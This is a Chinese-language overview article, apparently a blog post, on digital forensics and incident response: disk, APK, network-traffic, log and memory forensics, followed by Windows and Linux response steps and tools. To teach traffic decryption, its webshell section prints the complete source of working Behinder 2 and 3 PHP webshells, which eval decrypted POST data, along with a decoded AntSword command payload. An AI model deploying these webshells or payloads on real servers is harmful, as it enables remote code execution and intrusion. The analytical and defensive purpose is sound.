前言
首先电子取证与应急响应技术是网络安全的一个研究方向,是一个完整的知识体系,因此它的内容不是一下能说完的,这里只是结合自己这一两个月做的题目做一个概述,更准确的说是介绍。
一、电子取证技术概述
电子取证是指利用计算机软件、硬件技术,以符合法律规范的方式对计算机入侵、破坏、欺诈、攻击等犯罪行为进行证据获取、保存、分析和出示的过程。目前,电子取证已经成为计算机领域和法学领域的一门交叉学科, 电子取证并没有一个统一的定义,但目前较为广泛的认识是:电子取证是指利用计算机软硬件技术,以符合法律规范的方式,对存在于计算机和相关电子设备中的相关电子证据进行确认、收集、恢复、保全、固化、分析、归档和呈现。电子取证包括硬盘取证、APK取证、流量分析、日志分析和内存取证,接下来将逐个讲解。
1、硬盘取证
-
VeraCrypt
VeraCrypt 是一款开源的数据加密软件,有安装版和便携版,它能帮你创建一个文件型加密盘,或加密分区、设备,甚至加密系统盘。在现实实践中,能遇到VC容器的,估计是非常专业的嫌疑人了,某些攻击者就会入侵目标机器后,把目标机器的硬盘加密。
一般专业的取证比赛都会给一个检材,这个检材就是用VC加密后的容器,参赛选手需要利用官方给的密钥,利用VC把加密容器挂载起来,然后取出题目附件。
用VC创建加密卷:
用VC挂载容器:
挂载后得到容器:
-
R-STUDIO
如果题目给了一个损坏的img文件,无法直接提取其中的文件,则需要使用恢复软件进行恢复。
R-Studio是一款非常强大的驱动级数据恢复软件,它采用了独特的数据恢复技术,能够支持NTFS、ReFS、FAT/exFAT、Ext2FS/Ext3/Ext4、UFS和HFS等多种不同的分区文件系统恢复数据。此外,它还能恢复已经被删除和加密的文件以及数据流。R-Studio支持硬盘分区创建镜像文件.rdr,可以自动识别RAID参数,修复损坏的磁盘阵列,并且在数据恢复效率和质量上非常出众。
-
DiskGenius
DiskGenius是一款功能强大、操作简便的硬盘分区和数据恢复工具,适用于各种场景下的数据恢复和分区管理需求。
-
取证大师
取证大师(Forensics Master)是美亚柏科自主研发的一款综合计算机取证产品。取证大师的分析结果包括系统痕迹、用户痕迹、上网记录、即时通信、解析网络软件分析、反取证软件、文件分析、下载工具分析、日志分析、输入法、密码/密钥检索等。
-
火眼证据分析软件
火眼证据分析可使用的功能非常的丰富:
-
操作系统版本、处理器信息、内存配置、硬盘信息、启动项、回收站等信息的自动解析;
-
支持常见文件系统的自动识别和解析,支持多种虚拟磁盘快照和多种云服务镜像的识别和解析;
-
支持文件删除恢复、特征恢复,支持恢复高级格式化磁盘内的文件;支持MacOS系统的基本信息、上网记录以及邮件等记录的分析;
-
支持Linux系统基本信息解析,获取Linux系统版本和用户等信息;
-
支持Windows微信通过扫码、密码多种方式,支持Windows钉钉、企业微信等即时通讯软件分析;
-
还可以直接提取微信消息记录,分析和谁的聊天记录最多。
一般题目给的检材是E01的文件,直接导入火眼:
-
-
火眼仿真取证软件
火眼仿真区取证软件的功能是识别多系统通过虚拟机技术无痕启动Windows、Linux、 MacOS等多种操作系统硬盘和镜像文件,支持多种镜像格式包括qcow/qcow2/qcow3、VHD、VHDX等云服务器镜像格式的直接仿真,自动识别目标盘的操作系统类型,自动提取并显示系统信息,分区信息以及用户信息。
特别是内置的VMware虚拟机应用软件,支持Windows、LinuX、MacOS操作系统多种操作系统。
2、APK取证
-
jadx
jadx 是一款功能强大的 java 反编译工具,它基于 java 开发,提供了简单方便的使用方式,包括命令行程序和 GUI 程序。无论是开发者还是安全研究人员,都可以通过 jadx 轻松地分析和查看 apk、dex、jar、zip 等格式的文件。
-
Android模拟器
一般需要分析的APP都是诈骗应用或者木马病毒,肯定不能在自己手机上运行,那么就需要在电脑上模拟出Android环境,从而运行APK文件进行动态分析,常见的Android模拟器如下:
-
逍遥模拟器
-
夜神模拟器
-
腾讯手游助手
-
雷电模拟器
-
雷电APP智能分析工具
雷电APP智能分析是一款针对Android APP应用进行深度分析的取证软件。
静态分析可以快速分析APK文件的基本信息、详细信息,后续可以分析该APK申请的所有权限。
动态监控可以对APK获取用户信息、操作手机、网络信息等内容进行全程监控。
支持对APK进行网络数据包抓包分析,提供了加固检测、一键脱壳、一键反编译等常用取证操作。
利用APP智能分析工具可以对上传的程序进行加固检测和完成一键脱壳处理,同时,也支持一键APK反编译,提供反编译代码分析工具。
获取用户信息行为:IMEI、IMSI、ICCID、电话号码、短信记录、通话记录、通讯录、安装应用列表、获取运营商、读取日历等行为;
操作手机行为:读/写SDCard、拨打电话、发送/接收短信、获取ROOT权限、录音、摄像头、静默应用安装、监听电话呼出等行为;
网络行为:应用下载、访问互联网、获取wifi状态、改变wifi状态、使用蓝牙、发送/读取邮件、加载应用、发送敏感词等行为;
3、流量分析(wireshark)
Wireshark 是一款功能强大的网络协议分析器,最早由 Gerald Combs 于 1998 年开发,经过多年发展,已成为网络诊断和分析的首选工具。它支持实时捕获数据包并提供详尽的解码信息,适用于多种操作系统,包括 Windows、macOS 和 Linux。
一般在取证题目中,出题方会在抓包开启的情况下做一些攻击操作,然后获得攻击过程中的流量包,参赛选手则是要分析流量包获取题目要求的内容。
Wireshark的“统计”菜单可以查看流量包的大致情况,如包含哪些协议、哪些IP地址参与了会话等。这个功能可以帮助我们快速定位到需要分析的点,因为CTF中的流量分析往往会有很多干扰流量,而出题人出题所需的流量一般是在局域网中或特定的几台主机中获取的,通过查看流量信息可以大大节省寻找需要分析的流量的时间。在IPV4的菜单里选择All Address
,可以看所有的连接IP统计。做题时首先要做的就是识别攻击者和被攻击者IP。
-
wireshark语法需要熟练掌握,这里列几个常见的:
查看http协议的数据包:http
过滤查看包含某字符串的http数据包:http contains "string"(tcp同理)
过滤出某⼀ip的流量:ip.addr == ip 或 ip.src == ip 或 ip.dst == ip或not ip.addr==192.168.94.59
查看POST的数据包:http.request.method == POST -
webshell流量分析
这里把webshell流量分析单独拿出来讲,是因为这一块内容比较重要而且涉及到密码学的内容,比较复杂。
首先常见的webshell管理工具有蚁剑、冰蝎和哥斯拉,这三种webshell的流量都是加密流量,并且加密方式都是不同的,因此想要分析出来攻击者的操作记录首先就是要解密,而解密的前提是知道用的是哪个工具,接下来就会分别分析这三种常见的webshell管理工具的特征和解密方式:
-
蚁剑,一般用蚁剑连的都是一句话木马,php、jsp、asp等,蚁剑的流量如下:
给它url解码一下,可以看到蚁剑比较明显的特征就是开头的ini_set
和set_time_limit
,前面的1
是连接密码,@ini_set("display_errors", "0");
表示禁止显示PHP错误, @set_time_limit(0);
表示执⾏的时间不受制。
1=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.aa92ba732e";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
functionasenc($out){
return $out;
}
;
functionasoutput(){
$output=ob_get_contents();
ob_end_clean();
echo"0bf"."295";
echo @asenc($output);
echo"28"."686";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
$R={$D} ;
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo"ERROR://".$e->getMessage();
}
;
asoutput();
die();
z18fc7fc8837b7=4S
h21304b547e841=vXY2QgIi92YXIvd3d3L2h0bWwvdnVsL3Vuc2FmZXVwbG9hZC91cGxvYWRzIjt3aG9hbWk7ZWNobyA4NmNlZjgzNTRkMTtwd2Q7ZWNobyA1NzhkMWRhZjEx
kb78d3bfb243d8=gUL2Jpbi9zaA==
前面说是加密,其实也算是明文了,但是直接看是看不出来执行的命令的,蚁剑的流量执行的命令在最后面的base64编码的部分,分别是这三个参数:
z18fc7fc8837b7=4S
h21304b547e841=vXY2QgIi92YXIvd3d3L2h0bWwvdnVsL3Vuc2FmZXVwbG9hZC91cGxvYWRzIjt3aG9hbWk7ZWNobyA4NmNlZjgzNTRkMTtwd2Q7ZWNobyA1NzhkMWRhZjEx
kb78d3bfb243d8=gUL2Jpbi9zaA==
第一个参数没有编码,不需要解码,后面两个都是base64,但是直接解码是解不出来的,蚁剑的流量是把执行的命令进行base64编码之后在开头填充两个任意字符,比如gUL2Jpbi9zaA==
,应该去掉前两个字符变成L2Jpbi9zaA==
,解码是/bin/sh
,然后h21304b547e841
的值也是一样,解码后是:cd "/var/www/html/vul/unsafeupload/uploads";whoami;echo 86cef8354d1;pwd;echo 578d1daf11
同样,还有用蚁剑查看文件的流量和上传下载文件的流量,分析方法是相同的。
-
冰蝎2,冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌Webshell管理神器—中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。冰蝎的流量就完全是密文了,冰蝎使用AES加密 + base64编码,流量如下:
冰蝎2的连接过程:
冰蝎2的木马:
<?php
@error_reporting(0);
session_start();
//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
//如果没接收到pass参数,则利用存储到session的秘钥进行解密
else
{
$key=$_SESSION['k'];
//接收POST来的加密后的待执行命令
$post=file_get_contents("php://input");
//如果不能加载openssl扩展,则使用base64解码
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
//使用openssl进行AES解密
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
/*
将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:
array("assert", "eval('phpinfo();')")
*/
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
classC{publicfunction__construct($p){eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
首次连接时,客户端首先向服务器端发起GET请求,只有一个参数,格式为?pass=123
形式,服务器端随机产生一个128位的密钥,把密钥回显给客户端,但是客户端并不会使用这个key作为之后的通讯的key,而是会继续重复上面过程,不断获取key,直到满足特定条件之后,才会确定是最终的key。客户端会保存这个key和响应报文里面的set-cookie的值。这个key就是之后客户端和服务端进行通讯的密钥。
客户端获取密钥后,后面的请求都为POST请求,对本地的二进制payload先进行AES加密然后base64编码,再通过POST请求发送至服务器端。
冰蝎2流量解密过程如下:
①既然是AES加密,首先要找到密钥
②拿到密钥后利用密钥进行AES解密,因为AES又分为CBC、ECB等多种工作模式,这就需要具体看具体情况了。这里作者不具体讲AES加密算法,只分析在webshell中遇到的加密如何解密。
ECB模式像一个电码本,每次的密钥都是相同的,对相同的明文进行加密,产生的密文也相同。因此它不需要设置初始向量。
CBC模式,它将明文分成固定长度的块,并使用前一个块的密文与当前块的明文进行异或操作,然后再进行加密。在加密过程中,需要使用初始化向量 (IV) 来避免加密结果的重复性。(至于为什么要使用初始向量,我们可以想一下对除第一块以外的所有块来说可以使用前一个块的密文进行异或操作,但是对于第一块,它没有所谓的前一块,因此需要一个初始向量。)可以看到CBC解决了ECB对同一明文加密产生的结果都相同的缺点。
下图是ECB模式解密:
下图是CBC模式,初始向量是0123456789abcdef
:
分析的过程中也要注意,冰蝎一般连接服务端之后会默认发一个状态检测包,因此第一个包一般不用看。
-
冰蝎3:冰蝎3和2相比,最重要的变化就是去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥为
md5("webshell密码")[0:16]
,其余的都差不多。在冰蝎3中,木马的加密方式为
openssl_decrypt($post, "AES128", $key)
,而在openssl中,默认的AES-128加密模式是CBC,所以对冰蝎3的流量解密时,要选用CBC模式并设置初始向量,冰蝎3的木马如下:<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
classC{publicfunction__invoke($p){eval($p."");}}
@call_user_func(new C(),$params);
?>解密过程如下,默认的IV就是全0:
也有的题目会直接给IV:
<script language="javascript">
crypt_key = 'l36DoqKUYQP0N7e1';
crypt_iv = '131b0c8a7a6e072e';
var key = CryptoJS.enc.Utf8.parse(crypt_key);
var iv = CryptoJS.enc.Utf8.parse(crypt_iv);
functionEncrypt(word){
srcs = CryptoJS.enc.Utf8.parse(word);
var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
return encrypted.toString();
}
functionprint(){
var a = Encrypt(myform.username.value);
var b = Encrypt(myform.password.value);
$.post({
url:"/login",
data:'post',
dataType:'application/x-www-form-urlencoded',
data:"username="+a+"&password="+b,
success:function(data) {
alert(data)
if(data == 'aaa') {
alert("............")
window.location.href="/index";
} else {
alert("............")
}
}
})
}
</script>
-
哥斯拉,哥斯拉同冰蝎一样,流量都是加密的,但是哥斯拉没有密钥协商,采用的是预共享密钥,就是webshell的连接密码的md5值的高16位。
当然目前也有哥斯拉的解密工具,可以一键解密:
另外还有蓝队分析研判工具箱,其中又webshell流量解密功能,可以解密冰蝎1-4的流量和哥斯拉1-2的流量:
-
SQL注入盲注流量
本身SQL注入的流量很明显,一般都可以直接看出来,但是盲注的流量需要单独说一下,做过盲注的都知道,一般都是一位一位的判断ASCII码,因此会产生大量的注入流量,那么如何从盲注的流量中找到攻击者得到的数据呢?首先对于布尔盲注,可以看返回的流量包的长度,注入成功和失败的长度肯定是不同的。但是时间盲注怎么办,有个小技巧就是看注入语句中限制位数的地方,第一位判断成功后就会立刻判断第二位,那么找到判断第二位的第一个语句,它的上一个流量肯定就是第一位判断成功的语句了,如下图:
-
https流量分析
我们知道https的流量是加密的,加密流量的内容是无法分析的,所以第一件事就是解密,这种情况下题目会给一个密钥文件,需要在wireshark中导入这个key:
-
从流量包中提取附件
攻击者通过webshell上传或下载了文件,取证人员就需要还原这些文件。放到比赛中就是flag在这些文件中,参赛人员需要恢复这些文件从中找到flag,那么如何恢复?
比如下面的流量包,传输了一张
secret.png
:首先把流量转为原始数据,然后把文件部分复制出来:
然后放到010中保存,命名为
xx.png
,然后打开即可:
那么又出来一个问题,如果流量包中没有文件名,怎么知道文件是什么类型的?
-
文件识别
-
Linux中的file命令: file name
。它通过检查文件的内容(而不是依赖文件扩展名)来判断文件的类型。file
命令可以识别多种文件类型,包括文本文件、二进制可执行文件、库文件、压缩文件等。 -
但是比较靠谱的还是通过文件头来识别,常见文件的文件头: PNG:89504e
、JPG:FFD8
,zip:504B0304
,rar:52617271
-
USB流量
wireshark不止能抓取网卡的流量,也能抓取USB的流量,比如键盘和鼠标连接电脑后,打开wireshark就可以抓取键盘和鼠标的操作过程的流量。那么如何分析这些流量,以下就是USB键盘流量的语法规则:
USB键盘数据报每次有8字节,第一字节为控制键,第二字节为保留键,第三到八字节为我们敲击的键。
比如这个流量:
点进去后有用的数据就是这一段:
04005b0000000000
这段流量数字的含义是,首先是按住了alt键,然后按下了1个键,这个键的HID中的值是:
5b
,然后我们对照keyboard页面:
发现这个数对应的分别是小键盘的:3
,那么也就是出题人按下了:alt+3。
键盘按键的部分映射表(完整映射表到USB官方网站查询):
对于一个USB流量包,Tshark工具可以方便地获取纯数据字段: tshark-r filename.pcapng-T fields-e usb.capdata
4、系统日志分析
-
使用Windows的时间查看器分析系统日志
这时就要熟悉所有事件的ID:
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4688-已创建一个新进程
4698-已创建计划任务
4699-计划任务已删除
4700-已启用计划任务
4701-计划任务已禁用
4702-计划任务已更新
4720 创建用户
4722-用户账户已启用
4732-加入安全组,常见于将新用户加入管理员组
5156-Windows筛选平台允许连接
5157-Windows筛选平台已阻止连接
5158-Windows筛选平台允许绑定到本地端口
5159-Windows筛选平台已阻止绑定到本地端口 -
Windows日志快速分析小工具
5、内存取证
内存取证是指从计算机内存(RAM)中提取和分析数据的过程。当计算机运行时,操作系统、应用程序、网络连接和用户活动等都会在内存中留下痕迹。这些痕迹包括正在运行的进程、打开的文件、网络连接状态、登录凭证等。内存取证就是获取这些数据并将其作为证据用于调查,例如调查网络攻击、数据泄露、内部违规等事件。
内存取证最常用的工具就是Volatility,它是一个开源的取证框架,能获取内核的数据结构,使用插件获取内存的详细情况和运行状态,同时可以直接转储系统文件,进行屏幕截图,查看进程等。内存取证题目中的“套路”比较少,但需要对Volatility的各种插件非常熟悉。
-
Volatility2是基于Python2来实现的,所以我们需要Python2的环境,这个工具需要学习的就是其各种插件的使用
volatility -f <文件名> --profile=<配置文件> <插件> [插件参数]
imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在--profile中带上对应的操作系统。
filescan:扫描所有文件列表。
pslist:该插件列举出系统进程,但它不能检测出隐藏的进程。
psscan:可以找到先前已终止的进程以及被rootkit隐藏的进程。
pstree:以树的形式查看进程列表,和pslist一样,它也无法检测出隐藏的进程。
mendump:提取出指定的进程。
hashdump:查看当前操作系统中的password hash,例如Windows的SAM文件内容。
svcscan:扫描Windows的服务。
clipboard:查看系统剪贴板中的信息。
clipboard -v 查看详细内容
connscan:查看网络连接。
lsadump:从注册表中提取出已解密的LSA密钥信息。LSA是Windows系统本地安全认证的模块,它会存储用户登录其他系统和服务时所使用的用户名和密码。
userassist 查看运行程序相关的记录
mftparser 恢复被删除的文件
procdump:将进程转储为一个可执行文件。
memdump:转储进程的可寻址内存。
dumpfile:导出数据
screenshot:系统此刻的截图
hivelist 查看注册表配置的插件
cmdscan 获取历史命令
iehistory 查看浏览器历史记录
envars 查看环境变量
editbox 查看当前展示的Notepad
screenshot 屏幕截图
mimakatz:提取内存中的密码,使用前需要安装依赖sudo pip install construct==2.5.5-reupload,作者是Francesco Picasso。
ndispktscan:搜索内核的网络流量包信息,作者是Adam Bridge。
chrome_ragamuffin:分析内存中的Chrome浏览器运行实例,可以分析正在浏览的页面,作者为Alessandro DeVito。
rdpkeys:分析Windows RDP远程连接的数据,提取密钥,可配合Wireshark对抓取的RDP流量解密,作者为Bartosz Inglot。
powersh:对内存中(隐藏)的powershell进程进行分析,作者是Cesare Pizzi。
lastpass:从浏览器内存空间中读取账户密码信息,作者是Kevin Breen。
bitlocker:提取BitLocker全卷加密密钥(FVEK),可以用来解密BitLocker卷,只支持Windows Vista/7,作者是Marcin Ulikowski。
-
volatility3与vol2的区别就vol3是用python3开发的,用法上与2也略有不同:
查看文件 python3 vol.py -f 文件.mem(可变) windows.filescan
查看网络连接 python3 vol.py -f 文件.mem(可变) windows.netscan
查看服务运行状态 python3 vol.py -f 文件.mem(可变) windows.svcscan
获取SAM表中的用户python3 vol.py -f 文件.mem(可变) windows.printkey
列出内存映像中存在的注册表配置单元 python3 vol.py -f文件.mem(可变) windows.registry.hivelist
windows.svcscan 查看服务的数据
windows.hashdump:获取内存中的系统密码
windows.getsids:查看SID
windows.iehistory 查看浏览器历史记录
查看服务 windows.svcscan
查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等 userassist
windows.netscan 查看网络连接
windows.filescan 查看文件
windows.printkey 获取SAM表中的用户
windows.symlinkscan:扫描Windows内存映像中存在的链接
windows.dlllist:列出Windows内存映像中已加载的dll模块
windows.registry.hivelist:列出内存映像中存在的注册表配置单元
windows.registry.hivescan:扫描Windows内存映像中存在的注册表配置单元
windows.dlldump:将进程内存范围DLL转储
windows.dlllist:列出Windows内存映像中已加载的dll模块
windows.driverirp:在Windows内存映像中列出驱动程序的IRP -
Lovelymem:一款基于memprocfs、Volatility2、Volatility3的快捷内存取证工具,目前还是免费的工具。
二、应急响应技术
网络安全应急响应是指在发生网络安全事件或信息安全事故时,采取一系列组织和技术措施,以最快的速度检测、分析、遏制、消除和恢复正常运营。应急响应不仅仅是技术问题,还涉及到流程管理、人员协调和决策支持等多个方面。通过有效的应急响应,可以最大限度地减少网络安全事件对组织造成的损失和影响。
在发生确切的网络安全事件时,应急响应实施人员应及时采取行动,限制事件扩散和影响的范围,防范潜在的损失与破坏。实施人员应协助用户检查所有受影响的系统,在准确判断安全事件原因的基础上,提出基于安全事件的整体解决方案,排除系统安全风险,并协助追查事件来源,协助后续处置。
不同的安全事件类型应急方式也会有所区别,下面来看看常见的一些安全事件都有哪些。
Web入侵:挂马、篡改、Webshell
系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞,提权
病毒木马:远控、后门、勒索软件、挖矿程序
信息泄漏
网络流量:频繁发包、批量请求、DDOS攻击,流量劫持
1、Windows应急响应
-
恶意文件识别
攻击者入侵受害机器后,想要进一步获取内容,必然要上传恶意文件,比如webshell、CS木马、或者提权脚本等,那么确认被入侵后,应急响应人员要做的是先定位到恶意软件。
-
对于webshell识别,常用的有D盾、深信服webshell查杀、河马webshell查杀等
-
而其他的恶意软件可以利用火绒、360等杀毒软件进行查杀。
-
网络连接:
netstat
攻击者无论是反弹shell还是用CS连接受害机器,都会造成外联,这时候查看网络连接情况,把所有的外联IP分析一遍,找出可疑的,大概率就是攻击者的IP
-
恶意用户
攻击者获取受害机器权限后,为了权限维持,可能会创建用户,或者隐藏用户,那么应急响应人员就要定位恶意用户:
-
查看用户和组:
lusrmgr.msc
-
命令查看:
netuser
-
使用D盾查看:
-
计划任务查看
攻击者为了权限维持,可能会做定时任务,定时执行某些操作,Windows查看定时任务:
schtasks.exe
-
开机启动内容查看:
msconfig
-
系统信息,查看系统安装时间,电脑开机时间:
systeminfo
-
查看最近访问的文件夹或文件,根据受攻击的时间定位,可以看到攻击者查看了哪些文件
-
服务项:查看是否有恶意服务
-
进程:查看是否有恶意进程
2、Linux应急响应
-
Linux历史命令查看
如果攻击者没有清楚使用过的历史命令,则可以直接看到黑客执行了哪些命令:
cat ~/.bash_history
-
系统性能查看:查看CPU或内存是否异常
top # 列出CPU多核状态
-c # 显示进程绝对路径
-M #按内存使用率排序
-P # 按CPU使用率排序
us # 用户态使用率
sy # 内核态使用率
Id # 空闲率
free -m
df -h
du -sh -
进程状态:查看是否有恶意进程,占用资源过高的进程
ps aux # 显示所有进程
ps -ef # 查看系统进程
ls -l /proc/pid/exe # 查看某进程详细信息
lsof -p pid # 查看PID为xxx的进程打开的文件
lsof -c sshd # 查看进程sshd打开的文件
lsof -i:port # 查看xx端口对应进程
ps -p PID -o lstart # 查看pid为xx进程的启动时间点
fuser -n tcp port # 查看端口对应的进程PID
pstree # 查看系统进程树
ps aux --sort -pcpu # 查看进程,根据cpu使用从高到底
ps aux --sort -pmem # 查看进程,根据内存使用从高到低 -
用户状态:查看用户的最近登录时间,是否有新用户等
w who last lastlog cat/etc/passwd # 用户状态
w/who # 当前在线用户
last/lastlog # 最近登录
utmp # 保存的是当前正在本系统中的用户的信息
wtmp # 文件中保存的是登陆过本系统的用户的信息 -
查看开机启动项内容
ls -alt /etc/init.d
/etc/init.d/rc.local
/etc/rc.local
chkconfig
3、恶意软件分析
在系统中定位到可疑软件后,到底是不是恶意软件,或者这个恶意软件都做了什么,还需要进一步分析。
-
在线沙箱
借助有效的恶意软件分析工具,安全团队可以更快速地检测并防止攻击者实施破坏活动。而云沙箱工具则为这类调查提供了安全的环境和方法。
常见的在线沙箱:
国内:
微步在线云沙箱 https://s.threatbook.cn/
腾讯哈勃分析系统 https://habo.qq.com/
360沙箱云 https://ata.360.net/
恶意软件分析 https://www.maldun.com/analysis/
奇安信情报沙箱 https://sandbox.ti.qianxin.com/sandbox/page
安恒云沙箱 https://sandbox.dbappsecurity.com.cn/
国外:
VirScan https://www.virscan.org/
VirusTotal https://www.virustotal.com/gui/home/upload
Jotti https://virusscan.jotti.org/
ScanVir http://www.scanvir.com/
-
查看源码
除了用沙箱分析恶意软件的行为外,还可以用IDA逆向出恶意软件的源码进行分析:
-
反编译
如果恶意软件是使用python打包的,就可以用pyinstxtractor反编译成pyc,再把pyc反编译成py从而分析源码。
4、安全设备
在应急响应中用好了安全设备简直如虎添翼,本身有些安全设备的诞生就是为了方便应急响应的。安全设备在应急响应中帮助我们快速检测威胁、响应和恢复安全事件,提升工作效率。
-
防火墙:防火墙本身是为了保护内外网络,避免而已入侵和保障网络安全。但是在我们应急响应中防火墙是方便我们查找攻击者的痕迹。
-
WAF:首先WAF的功能是在应用层上阻拦有害请求,对应急响应来说WAF记录的日志也可以帮助我们分析攻击者的行为,尤其是攻击者的入侵过程。
-
IPS:实时监控网络行为,中断或者调整隔离网络非法行为。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。
-
上网行为管理:上网行为管理,就是通过软件或硬件,控制用户访问网络的权限。功能包括行为管理、应用控制、流量管控、信息管控、非法热点管控、行为分析、无线网络管理等。
-
态势感知:态势感知设备能够收集来自不同来源的数据和信息,如网络流量、系统日志、安全事件等。对收集到的数据进行分析和挖掘,提取出有价值的信息和特征,将分析结果以直观的方式展示出来,如可视化图表、报警信息等,方便用户理解和决策。
三、综合工具
1、知攻善防实验室-应急响应工具箱
蓝队工具箱是为打造一款专业级应急响应的集成多种工具的工具集,由真实应急响应环境所用到的工具进行总结打包而来,把项目现场中所用到的工具连同环境一同打包,并实现“可移植性”“兼容性”“使用便捷”等优点。集成模块:“常用工具”,“流量分析”,“应急响应”,“日志分析”,“逆向分析”,,“上传应急”,“蓝队思路图”,”安装文档“,“临时笔记”等 9 个模块。
2、ONE-FOX团队的应急响应工具箱
此工具箱由狐狸使用go语言开发,工具箱程序响应速度快,界面简洁流畅,涉及多种工具集成,如:
集成工具、日志分析、进程分析、勒索解密、启动项管理、端口占用、webshell查杀以及流量分析和加解密
3、EmergencyTookit
EmergencyTookit
是一款专为Windows系统设计的应急响应解决方案,旨在帮助用户在面对系统安全事件、故障排查等紧急情况时,能够迅速、高效地收集关键信息、定位问题根源并采取相应措施。它集合了市面上轻量且优秀的工具,经过精心挑选和优化,以满足应急响应过程中对速度和准确性的严格要求。
4、火绒剑
火绒剑是火绒最牛B的工具,专门为安全专业人士打造的一款分析工具,具有系统诊断、恶意代码处置、进程管理等能力。
5、D盾
D盾是目前最为流行和好用的web查杀工具,同时使用也简单方便,在web应急处置的过程中经常会用到。D盾的功能比较强大, 最常见使用方式包括如下功能:1、查杀webshell,隔离可疑文件;2、端口进程查看、base64解码以及克隆账号检测等辅助工具;3、文件监控。第一个是D盾的主要功能,后面功能是D盾的辅助功能,但是在处理web甚至是病毒的过程中可能都会用到。
原文始发于微信公众号(南有禾木):电子取证与应急响应技术概述
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论